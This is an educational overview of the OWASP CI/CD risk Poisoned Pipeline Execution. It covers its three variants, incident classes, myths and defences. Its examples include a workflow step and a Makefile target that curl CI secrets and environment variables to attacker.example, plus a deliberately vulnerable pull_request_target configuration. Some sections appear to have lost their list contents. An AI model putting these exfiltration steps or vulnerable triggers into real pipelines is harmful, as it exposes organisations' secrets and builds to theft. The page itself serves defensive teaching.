Back

CICD-SEC-4: Poisoned Pipeline Execution - Overview

What is Poisoned Pipeline Execution?

Poisoned Pipeline Execution (PPE) is the risk that an attacker who can influence the definition of a CI/CD pipeline—or the files and commands that pipeline runs—gets their own code executed inside the pipeline. Once code runs inside the pipeline it inherits the pipeline's identity: its secrets, its cloud credentials, its registry tokens, its access to source and artifacts. The build system becomes a confused deputy that runs the attacker's instructions with the organisation's most privileged automation identity.

The core insight is that a pipeline is not just infrastructure—it is code, and that code usually lives in the same repository it builds. A workflow file (.github/workflows/*.yml), a .gitlab-ci.yml, or a Jenkinsfile is checked out from a branch and executed automatically on an event such as a push or a pull request. Anyone who can influence what those files contain, or what the steps inside them invoke, can influence what the runner executes. PPE is what happens when that influence reaches an attacker who should only have been able to propose a change, not run privileged automation.

CICD-SEC-4 sits in the OWASP Top 10 CI/CD Security Risks because modern pipelines are simultaneously highly privileged (they deploy to production, sign releases, and hold long-lived cloud credentials) and highly automated (they trigger on ordinary developer events, sometimes from complete strangers via fork pull requests). PPE is the collision of those two properties.

Core Concept

Normal pipeline:
  trusted change  ->  reviewed & merged  ->  pipeline runs trusted code
                                              with secrets  ->  build/deploy

Poisoned pipeline:
  attacker influences the pipeline definition OR a file it executes
        (branch, fork PR, Makefile, build script, test config, npm hook)
                     |
                     v
  pipeline runs ATTACKER code with the pipeline's identity
                     |
                     v
  steal CI secrets/tokens  ->  tamper artifacts  ->  pivot to prod/cloud

Why It's Different from "Just Committing Bad Code"

Every developer can put code into a repository they own; that is the point of a repository. PPE is dangerous because of who runs the code and with what privileges. The distinction is between:

PPE converts the first into the second. A person who can only open a pull request from a fork—an untrusted outsider—should never be able to reach the second. When a misconfiguration lets them, that is the entire vulnerability.

Why Does This Matter?

Business Impact

Technical Impact

Technical Context

The Trigger Model: Why Events Are the Attack Surface

CI systems run pipelines automatically in response to events—a push, a tag, a pull/merge request, a comment. The security question for every trigger is: who can cause this event, and what privileges does the resulting run have? PPE lives in the gap between those two things. A trigger that any outsider can cause (a fork pull request) must never produce a run that holds production secrets.

Three properties of the trigger determine the risk:

Where the Attacker's Code Enters

SurfaceExampleHow it becomes execution
Pipeline definition.github/workflows/*.yml, .gitlab-ci.yml, JenkinsfileAttacker edits the steps directly; the runner executes them
Build scriptsMakefile, build.sh, gradlew, setup.pyPipeline calls the script; attacker changed its contents
Package hooksnpm run build, preinstall/postinstall scriptsInstall/build step runs attacker-defined lifecycle hooks
Test & lint configjest.config.js, conftest.py, .eslintrc.js, tox.iniTest/lint step loads and executes attacker-controlled config code
Untrusted event data${{ github.event.pull_request.title }}Interpolated into a shell run: block — command injection
Third-party actionsuses: some/action@mainUnpinned dependency is swapped for a malicious version

The Three Types of PPE

OWASP splits Poisoned Pipeline Execution into three variants based on how the attacker gets their code to run. All three end the same way—attacker code executing with pipeline privileges—but they differ in what the attacker needs to control.

1. Direct PPE (D-PPE)

The attacker edits the pipeline definition itself. If a user can push a branch or open a pull request whose workflow file is then executed, and that execution has access to secrets, they can simply add a malicious step.

# Attacker pushes a branch containing this workflow, which runs on push:
name: build
on: [push]
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - run: curl -s https://attacker.example/x -d "$SECRET_DEPLOY_KEY"
        env:
          SECRET_DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}

D-PPE depends on the CI running pipeline definitions from branches or PRs that less-trusted users can create, with secrets in scope. In systems where the workflow that runs is always the one from the default branch (not the PR branch), D-PPE via fork is blunted—but GitLab and Jenkins configurations that execute the branch's own pipeline file are classic D-PPE targets.

2. Indirect PPE (I-PPE)

The attacker cannot edit the pipeline file (perhaps it is protected, or always taken from the default branch), but the pipeline runs files that the attacker can edit. The workflow is trusted; the thing it invokes is not.

# Trusted workflow (unchanged) simply runs the repo's build:
- run: make build      # or: npm run build, ./gradlew test, pip install -e .

# Attacker edits the Makefile the workflow calls:
build:
    curl -s https://attacker.example/x -d "$(env | base64)"

I-PPE is the more common and more subtle variant. Any file the pipeline executes is in scope: Makefile, shell scripts, package.json scripts and lifecycle hooks, test frameworks that execute config as code (conftest.py, jest.config.js), linters with executable config, and build tools. Because these files look like ordinary application code, a malicious change can pass review far more easily than an obvious edit to a deploy workflow.

3. Public PPE (3PE)

The attacker is a complete outsider who opens a fork pull request against a public (or accessible) repository whose pipeline runs on such PRs with privileges. This is D-PPE or I-PPE where the attacker needs no repository permissions at all—anyone on the internet can trigger it.

# Vulnerable: privileged trigger that also checks out untrusted PR code
on:
  pull_request_target:        # runs with secrets AND repo write token
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker's fork code
      - run: npm ci && npm test    # attacker's package scripts run WITH secrets

3PE is the most dangerous because the attacker population is unbounded. The canonical GitHub Actions form combines pull_request_target (which grants secrets and a read/write GITHUB_TOKEN) with an explicit checkout of the untrusted PR head—so the outsider's code executes in a context that was only ever meant to run trusted code.

Real-World Impact

The examples below are classes of real, publicly discussed incidents, described generically. They illustrate the pattern without asserting specific fabricated figures or CVE identifiers.

Incident Class 1: pull_request_target Secret Theft via Fork PR

Pattern:

Impact: Researchers and attackers demonstrated that an outsider opening a crafted fork PR could run arbitrary commands in the privileged context and read repository or organisation secrets. Many maintainers of popular open-source projects received coordinated disclosures for exactly this shape of bug.

Root cause: A privileged trigger executing untrusted PR content. The fix is to keep untrusted checkout and secrets in separate, appropriately-triggered jobs.

Incident Class 2: Compromised / Swapped Third-Party Action

Pattern:

Impact: Every pipeline that resolved the mutable reference at run time pulled and executed the malicious version, exposing whatever secrets those jobs held. Because one action can be used by thousands of repositories, the blast radius is large.

Root cause: Unpinned dependencies in the pipeline. Pinning to a full commit SHA makes the referenced code immutable.

Incident Class 3: Self-Hosted Runner Abused by Fork PR

Pattern:

Impact: An outsider's fork PR executed on the runner, giving code execution on a long-lived host inside the organisation's network—enabling persistence, credential harvesting from the runner, and lateral movement.

Root cause: Untrusted code on a privileged, non-ephemeral runner. Ephemeral runners and requiring approval for fork-PR runs directly address this.

Incident Class 4: Script Injection via Untrusted Event Data

Pattern:

Impact: By crafting the field (for example a PR title containing shell metacharacters), an attacker injected commands that ran with the workflow's privileges—classic command injection, but through pipeline templating rather than application input.

Root cause: Treating untrusted event data as trusted template input. Passing it through an environment variable and quoting it, instead of inlining it, removes the injection.

Prevalence and Detectability

Poisoned Pipeline Execution is recognised in the OWASP Top 10 CI/CD Security Risks as one of the most impactful CI/CD-specific weaknesses. Rather than cite specific counts, the defensible picture is:

Note: exact incident counts vary by source and year. The durable takeaway is that PPE-enabling patterns are easy to introduce, easy to find in review, and expensive when exploited—so the leverage is entirely on prevention and code review of pipeline definitions.

Common Misunderstandings

Myth 1: "Fork PRs can't be dangerous—they're just proposed changes"

Reality: A proposed change is harmless only if the CI that reacts to it has no secrets and no privileged token. The moment a fork-PR trigger grants secrets or checks out and runs the PR's own code with them, an outsider's proposal becomes an outsider's code execution.

Myth 2: "We protected the workflow file, so we're safe"

Reality: Protecting the pipeline definition stops Direct PPE but not Indirect PPE. If the trusted workflow runs make, npm run build, or a test framework, an attacker who edits the Makefile, a lifecycle hook, or a test config still gets code execution.

Myth 3: "pull_request_target is just a more convenient pull_request"

Reality: They are fundamentally different trust models. pull_request runs the PR's code without secrets and with a read-only token; pull_request_target runs in the base repo's context with secrets and a read/write token. Using the latter and then checking out PR code is the textbook 3PE.

Myth 4: "Pinning an action to @v3 is pinning"

Reality: Tags and branches are mutable—they can be repointed to new code at any time. Only a full commit SHA is immutable. @v3 can silently become different code tomorrow.

Myth 5: "The GITHUB_TOKEN is low-privilege by default"

Reality: Depending on repository/organisation settings, the default token may have write access to the repository and packages. Unless you set permissions: explicitly, a poisoned job may be able to push code, publish packages, or approve its own changes.

Myth 6: "Self-hosted runners are safer because they're on our network"

Reality: Being on your network makes them more attractive to an attacker who achieves PPE. A non-ephemeral self-hosted runner exposed to fork PRs is a persistent foothold inside your perimeter, not a safety feature.

How PPE Differs from Related CI/CD Risks

AspectPoisoned Pipeline Execution (CICD-SEC-4)Insufficient Flow Control (CICD-SEC-1)Dependency Chain Abuse (CICD-SEC-3)
Root causeAttacker-influenced pipeline definition or executed files run with pipeline privilegesMissing gates let a change reach production without proper review/approvalMalicious or confusable third-party package pulled into the build
Where it livesTriggers, checkout, run steps, scripts, action pinsBranch protection, review requirements, deploy gatesDependency manifests and resolution
Typical fixSeparate untrusted code from secrets; pin actions; least-privilege tokensEnforce review/approval and protected branchesPin, verify, and scope package sources

Key Takeaways

  1. A pipeline is code with privileges—whoever influences that code, or the files it runs, can wield those privileges.
  2. The three variants—D-PPE, I-PPE, 3PE—differ only in what the attacker controls; all end in attacker code running with pipeline secrets.
  3. Never run untrusted code with secrets in scope—that single rule prevents most PPE.
  4. Protecting the workflow file is not enough; the scripts, hooks, and configs it invokes are equally executable.
  5. Fork PRs are outsider input—treat privileged triggers on them as remote code execution waiting to be configured wrongly.

How to Identify if You're Vulnerable

Ask these questions about your pipelines:

If you answered "yes" or "not sure" to several of these, you likely have an exploitable PPE path today.

Next Steps